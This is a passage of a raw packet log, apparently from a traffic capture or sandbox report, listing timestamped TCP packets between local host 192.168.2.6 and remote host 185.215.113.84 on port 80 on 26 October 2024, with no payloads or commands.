Oct 26, 2024 07:27:12.125014067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125050068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125058889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125075102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125083923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125092983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125102043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125102997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125113964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125121117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125130892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125160933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125195980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125205040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125220060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125227928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125241995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125246048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125252008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125260115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125267029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125269890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125287056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125288010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125296116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125310898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125313997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125322104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125338078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125339985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125349045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125356913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125360012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125365019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125380993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125381947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125391006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125406981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125428915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125473976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125483036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125497103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125504971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125519991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125525951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125529051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125538111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125540972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125546932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125555992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125562906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125566959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125592947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125601053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125602961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125607967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125622988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125633001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125639915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125652075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125663042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125674009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125682116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125689983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125693083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125699043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125715017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125719070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125746012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125754118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125931978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125941038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125956059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125962973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125971079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125983953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.125986099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.125996113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126003981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126010895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126010895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126019001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126028061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126030922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126035929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126045942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126055002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126064062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126071930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126080990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126085997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126089096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126097918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126110077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126113892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126122952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126137018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126141071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126146078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126157999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126163006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126171112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126179934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126183033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126188993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126202106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126204967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126228094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126234055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126252890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126275063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126427889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126436949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126451969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126460075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126473904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126481056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126483917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126499891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126504898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126508951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126519918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126527071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126535892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126548052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126552105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126560926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126575947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126580954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126590014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126595974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126597881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126607895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126612902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126617908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126627922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126643896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126645088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126653910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126662970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126671076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126672029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126682043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126689911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126691103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126698971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126699924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126708984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126717091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126724958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126729965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126734018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126744986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.126758099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.126777887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127002001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127011061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127034903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127043962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127058029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127058983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127068996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127077103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127080917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127085924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127094030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127095938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127103090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127111912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127125025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127125978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127135992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127150059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127154112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127157927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127172947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127173901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127182007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127196074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127197981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127208948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127222061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127248049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127382040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127391100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127405882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127413034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127434015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127437115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127445936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127449989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127454996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127465010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127480030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127480984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127486944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127496004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127504110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127511978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127518892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127521992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127531052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127537966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127543926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127547026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127556086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127563953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127568007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127582073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127588034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127590895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127602100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127609015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127609968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127624989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127625942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127636909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127648115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127651930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127661943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127676010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127676964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127684116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127697945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127698898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127707958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127717018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127722025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127726078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127737045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127742052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127751112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127764940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127765894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127774954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127789974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127795935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127799034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127808094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127815962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127824068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127835989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127839088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127847910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127856016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127863884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127866030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127875090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127883911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127885103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127901077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127902031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127909899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127918959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127924919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127928972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.127935886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.127964973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128220081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128228903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128243923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128252029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128268003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128269911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128276110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128292084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128293037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128300905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128312111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128315926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128325939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128334045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128340960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128340960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128355026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128360987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128370047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128372908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128377914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128387928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128395081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128400087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128403902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128412008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128424883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128428936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128437042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128452063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128453016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128460884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128474951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128475904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128484011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128503084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128516912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128520966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128530979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128545046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128555059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128568888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128571987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128577948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128586054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128592014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128595114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128602982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128608942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128611088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128621101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128635883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128639936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128654957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128659964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128665924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128680944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128681898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128691912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128699064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128706932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128707886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128715992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128724098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128732920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128735065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128741980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128755093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128757954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128767967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128781080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.128782034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128804922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.128818989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129102945 CEST	80	49991	185.215.113.84	192.168.2.6
